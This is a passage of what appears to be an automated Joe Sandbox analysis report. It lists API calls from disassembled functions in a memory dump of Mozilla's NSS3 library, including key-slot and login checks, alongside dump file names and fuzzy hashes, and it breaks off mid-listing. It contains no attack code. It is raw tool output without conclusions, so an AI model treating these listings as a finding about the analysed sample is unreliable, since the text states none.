Part of subcall function 6CBD14C0: TlsGetValue.KERNEL32 ref: 6CBD14E0
Part of subcall function 6CBD14C0: EnterCriticalSection.KERNEL32 ref: 6CBD14F5
Part of subcall function 6CBD14C0: PR_Unlock.NSS3 ref: 6CBD150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CB73FFF,00000000,?,?,?,?,?,6CB71A1C,00000000,00000000), ref: 6CB7ADB4

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CB73FFF,?,?,?,?,6CB73FFF,00000000,?,?,?,?,?,6CB71A1C,00000000), ref: 6CB7ADD5

Part of subcall function 6CBCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB85
Part of subcall function 6CBCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBCFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC994B0,?,?,?,?,?,?,?,?,6CB73FFF,00000000,?), ref: 6CB7ADEC

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CB73FFF), ref: 6CB7AE3C

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 2c5c968f836cfbea9941e59964c5937505a12cb55dfd0a0149b6b31a8db356fc
Instruction ID: 2a99c543a84bd583092aad70c1adcfffbdc95a3919379289af54fa3d00cc33b5
Opcode Fuzzy Hash: 2c5c968f836cfbea9941e59964c5937505a12cb55dfd0a0149b6b31a8db356fc
Instruction Fuzzy Hash: 25113B71E002545BE7209B659C41BBF73BCDF5125DF144229EC2996B41F720E95887F3

Function 6CB98E80 Relevance: 7.6, APIs: 5, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CBB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB84F1C), ref: 6CB98EA2

Part of subcall function 6CBBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CBBF854
Part of subcall function 6CBBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CBBF868
Part of subcall function 6CBBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CBBF882
Part of subcall function 6CBBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CBBF889
Part of subcall function 6CBBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CBBF8A4
Part of subcall function 6CBBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CBBF8AB
Part of subcall function 6CBBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CBBF8C9
Part of subcall function 6CBBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CBBF8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CBB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB84F1C), ref: 6CB98EC3
TlsGetValue.KERNEL32(?,?,?,6CBB2E62,?,?,?,?,?,?,?,00000000,?,?,?,6CB84F1C), ref: 6CB98EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CBB2E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CB98EF1
PR_Unlock.NSS3 ref: 6CB98F20

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID:
API String ID: 1978757487-0
Opcode ID: 0daf0bdad43a52b93f2da399130fa54f6c9fdff99b4e63322637b85ca0467e80
Instruction ID: 974e697f1131e2d2dad68870f653606f2ca817d9c43dcbe9443b47d553a00510
Opcode Fuzzy Hash: 0daf0bdad43a52b93f2da399130fa54f6c9fdff99b4e63322637b85ca0467e80
Instruction Fuzzy Hash: 55217C749096459FCB00AF39D4842ADBBF0FF49318F01456EE8989BB41DB31E854CBD2

Function 6CBC8970 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,6CB761C4,?,6CB75639,00000000), ref: 6CBC8991
TlsGetValue.KERNEL32(?,?,?,?,?,6CB75639,00000000), ref: 6CBC89AD
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CB75639,00000000), ref: 6CBC89C6
PR_WaitCondVar.NSS3 ref: 6CBC89F7
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CB75639,00000000), ref: 6CBC8A0C

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: 062a036f5ac3b8b6d75389a8019c8b9ef782b0bc0748d2bae972c05961b4474c
Instruction ID: e3bf1338779e80a53cb0fe065ba06ee8711b904704556550da4e194728155997
Opcode Fuzzy Hash: 062a036f5ac3b8b6d75389a8019c8b9ef782b0bc0748d2bae972c05961b4474c
Instruction Fuzzy Hash: B7217CB4A04795CFCB00AF79D4841AABBF4FF06318F11466AEC9897601E731E895CB93

Function 6CBC8800 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8821
TlsGetValue.KERNEL32(?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC883D
EnterCriticalSection.KERNEL32(?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8856
PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6CBC8887
PR_Unlock.NSS3(?,?,?,?,6CBD085A,00000000,?,6CB78369,?), ref: 6CBC8899

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$calloc$CondCriticalEnterSectionUnlockWait
String ID:
API String ID: 2759447159-0
Opcode ID: b3d5e304bef2562dfa803a718f86bb424bac382d907f96689d29b80210d7b537
Instruction ID: ce5c39195ba9b8eab2b59aa279a9ba822bdf6c8e837066598c68004dc802f275
Opcode Fuzzy Hash: b3d5e304bef2562dfa803a718f86bb424bac382d907f96689d29b80210d7b537
Instruction Fuzzy Hash: 72218EB4A04685CFDB00AF79C4841AABBF4FF05309F10466ADC9897B05E730E995CB93

Function 6CB928A0 Relevance: 7.6, APIs: 5, Instructions: 66COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CB880DD), ref: 6CB928BA
EnterCriticalSection.KERNEL32(?,?,?,?,6CB880DD), ref: 6CB928D3
PR_Unlock.NSS3(?,?,?,?,?,6CB880DD), ref: 6CB928E8
DeleteCriticalSection.KERNEL32(?,?,?,?,?,6CB880DD), ref: 6CB9290E
free.MOZGLUE(?,?,?,?,?,?,6CB880DD), ref: 6CB9291A

Part of subcall function 6CB89270: DeleteCriticalSection.KERNEL32(?,?,6CB95089,?,6CB93B70,?,?,?,?,?,6CB95089,6CB8F39B,00000000), ref: 6CB8927F
Part of subcall function 6CB89270: free.MOZGLUE(?,?,6CB93B70,?,?,?,?,?,6CB95089,6CB8F39B,00000000), ref: 6CB89286
Part of subcall function 6CB89270: PL_HashTableDestroy.NSS3(?,6CB93B70,?,?,?,?,?,6CB95089,6CB8F39B,00000000), ref: 6CB89292

Part of subcall function 6CB88B50: TlsGetValue.KERNEL32(00000000,?,6CB90948,00000000), ref: 6CB88B6B
Part of subcall function 6CB88B50: EnterCriticalSection.KERNEL32(?,?,?,6CB90948,00000000), ref: 6CB88B80
Part of subcall function 6CB88B50: PL_FinishArenaPool.NSS3(?,?,?,?,6CB90948,00000000), ref: 6CB88B8F
Part of subcall function 6CB88B50: PR_Unlock.NSS3(?,?,?,?,6CB90948,00000000), ref: 6CB88BA1
Part of subcall function 6CB88B50: DeleteCriticalSection.KERNEL32(?,?,?,?,6CB90948,00000000), ref: 6CB88BAC
Part of subcall function 6CB88B50: free.MOZGLUE(?,?,?,?,?,6CB90948,00000000), ref: 6CB88BB8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$EnterUnlockValue$ArenaDestroyFinishHashPoolTable
String ID:
API String ID: 3225375108-0
Opcode ID: 34e33ee26b3595299f597b59a2188e625a2a580557573b6cebdf3929562f0a79
Instruction ID: d29648409af95dc77394210e1fcaa070f56cc30017a940de7339fbd44dd62650
Opcode Fuzzy Hash: 34e33ee26b3595299f597b59a2188e625a2a580557573b6cebdf3929562f0a79
Instruction Fuzzy Hash: FC21E7B5A05A459FDB00BF78C088569BBF4FF06364F014969DC9997B00EB34E899CB92

Function 6CB609E0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,?,6CB606A2,00000000,?), ref: 6CB609F8
malloc.MOZGLUE(0000001F), ref: 6CB60A18
memcpy.VCRUNTIME140(?,?,00000001), ref: 6CB60A33

Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607AD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607CD
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAF204A), ref: 6CB607D6
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAF204A), ref: 6CB607E4
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,6CAF204A), ref: 6CB60864
Part of subcall function 6CB607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB60880
Part of subcall function 6CB607A0: TlsSetValue.KERNEL32(00000000,?,?,6CAF204A), ref: 6CB608CB
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608D7
Part of subcall function 6CB607A0: TlsGetValue.KERNEL32(?,?,6CAF204A), ref: 6CB608FB

PR_Free.NSS3(?), ref: 6CB60A6C
PR_Free.NSS3(?), ref: 6CB60A87

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Value$Freecalloc$mallocmemcpy
String ID:
API String ID: 207547555-0
Opcode ID: 2958886b4735f402b831e868e73e2bea0f5a01359932c67a47049f2d3d59fc3f
Instruction ID: 5716838dbaf3b6504e742bdbedcaa381bf989dcf0db287e071d997c2ec58c81d
Opcode Fuzzy Hash: 2958886b4735f402b831e868e73e2bea0f5a01359932c67a47049f2d3d59fc3f
Instruction Fuzzy Hash: 881124B1900BC08BEB119F2BE984657B7B8FF01398F40552AD81682E00FB30F454C795

Function 6CC004C0 Relevance: 7.6, APIs: 5, Instructions: 63synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6CC0461B,-00000004), ref: 6CC004DF
TlsGetValue.KERNEL32(?,00000000,?,6CC0461B,-00000004), ref: 6CC00510
EnterCriticalSection.KERNEL32(ED850FDC), ref: 6CC00520
PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6CC0461B,-00000004), ref: 6CC00534
GetLastError.KERNEL32(?,6CC0461B,-00000004), ref: 6CC00543

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error$CriticalEnterLastObjectSectionSingleValueWait
String ID:
API String ID: 3052423345-0
Opcode ID: 33cac55ae08faa713902aa57efd7e8cf48de26683b5e61cbad2c992561083e95
Instruction ID: 30dc32db913920404e0bcb09be521cf7921188d87d95018649c4b776e0288162
Opcode Fuzzy Hash: 33cac55ae08faa713902aa57efd7e8cf48de26683b5e61cbad2c992561083e95
Instruction Fuzzy Hash: 39110A71F081855BDB006E79DC14B6A3674EF02319F664629E525C3D90FB32D644CB95

Function 6CB88FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CB90710), ref: 6CB88FF1
PR_CallOnce.NSS3(6CCD2158,6CB89150,00000000,?,?,?,6CB89138,?,6CB90710), ref: 6CB89029
calloc.MOZGLUE(00000001,00000000,?,?,6CB90710), ref: 6CB8904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CB90710), ref: 6CB89066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CB90710), ref: 6CB89078

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: 12b3107413e6adff767397048ff288a1ff0b1c93bc87be382331cae4f7bb7ea9
Instruction ID: dfa075e745834697fa6b32a20f4e509a045ca59a9d85a41f677c8cf5d0182387
Opcode Fuzzy Hash: 12b3107413e6adff767397048ff288a1ff0b1c93bc87be382331cae4f7bb7ea9
Instruction Fuzzy Hash: 86110421F021A167EF201AADAC44A6A32ACEB827ADF500531FD48D6B40F753CD46C3E2

Function 6CC04AF0 Relevance: 7.6, APIs: 5, Instructions: 62COMMON

Download Yara Rule

APIs

PR_MemUnmap.NSS3(00015180,00000005,?,6CC04AD1), ref: 6CC04B62
free.MOZGLUE(?,00015180,00000005,?,6CC04AD1), ref: 6CC04B76

Part of subcall function 6CC003C0: CloseHandle.KERNEL32(?,?,?,?,6CC04B27,?,?,00015180,00000005,?,6CC04AD1), ref: 6CC003E0
Part of subcall function 6CC003C0: GetLastError.KERNEL32(?,6CC04B27,?,?,00015180,00000005,?,6CC04AD1), ref: 6CC003FD

Part of subcall function 6CC003C0: DeleteCriticalSection.KERNEL32(00000005,?,?,?,6CC04B27,?,?,00015180,00000005,?,6CC04AD1), ref: 6CC00419
Part of subcall function 6CC003C0: free.MOZGLUE(?,?,6CC04B27,?,?,00015180,00000005,?,6CC04AD1), ref: 6CC00420

CloseHandle.KERNEL32(?,00015180,00000005,?,6CC04AD1), ref: 6CC04B96
free.MOZGLUE(?,?,6CC04AD1), ref: 6CC04B9D
memset.VCRUNTIME140(6CCD2F9C,00000000,00000090,00015180,00000005,?,6CC04AD1), ref: 6CC04BB2

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CloseHandle$CriticalDeleteErrorLastSectionUnmapmemset
String ID:
API String ID: 447902086-0
Opcode ID: e2c21dffd23b2aeba42c5e93dc4dcb21703f1b0c231f33d812d80bce9edc808e
Instruction ID: 62a4d979992495b7bf5675e4b9ed5abc2366806772c9373767e6b49e7203fbc0
Opcode Fuzzy Hash: e2c21dffd23b2aeba42c5e93dc4dcb21703f1b0c231f33d812d80bce9edc808e
Instruction Fuzzy Hash: 9111DD72B01910ABDE21DB54DC09B4B7739BB62218F090029E90A93A50F332B556D7E2

Function 6CB9CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CBB1E10: TlsGetValue.KERNEL32 ref: 6CBB1E36
Part of subcall function 6CBB1E10: EnterCriticalSection.KERNEL32(?,?,?,6CB8B1EE,2404110F,?,?), ref: 6CBB1E4B
Part of subcall function 6CBB1E10: PR_Unlock.NSS3 ref: 6CBB1E76

free.MOZGLUE(?,6CB9D079,00000000,00000001), ref: 6CB9CDA5
PK11_FreeSymKey.NSS3(?,6CB9D079,00000000,00000001), ref: 6CB9CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CB9D079,00000000,00000001), ref: 6CB9CDCF
DeleteCriticalSection.KERNEL32(?,6CB9D079,00000000,00000001), ref: 6CB9CDE2
free.MOZGLUE(?), ref: 6CB9CDE9

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 0ac518c11fde050870d3f2072787e9c571d6364a4a8a5e5c758189438d9bdebf
Instruction ID: a2c221be02b1d17f71b41e025a0881acda521152bf4838fa1bce11e2e60ade4a
Opcode Fuzzy Hash: 0ac518c11fde050870d3f2072787e9c571d6364a4a8a5e5c758189438d9bdebf
Instruction Fuzzy Hash: 12110EB2B00561ABDF00AFA5EC849AAB73CFF052A87100131E90993E11E732F574C7E2

Function 6CC02CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC02CEC

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC02D02
PR_EnterMonitor.NSS3(?), ref: 6CC02D1F
PR_ExitMonitor.NSS3(?), ref: 6CC02D42
PR_ExitMonitor.NSS3(?), ref: 6CC02D5B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: b679837be80fe0b9f641fdfabe48e76b05f377f32cc88e16cb4b582400a86b97
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 4B0161B5A103005BE7309F26FC45B87B7A5EB45318F004565E95D86B20F633F919CA92

Function 6CC02D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CC05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CC05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC02D9C

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CC02DB2
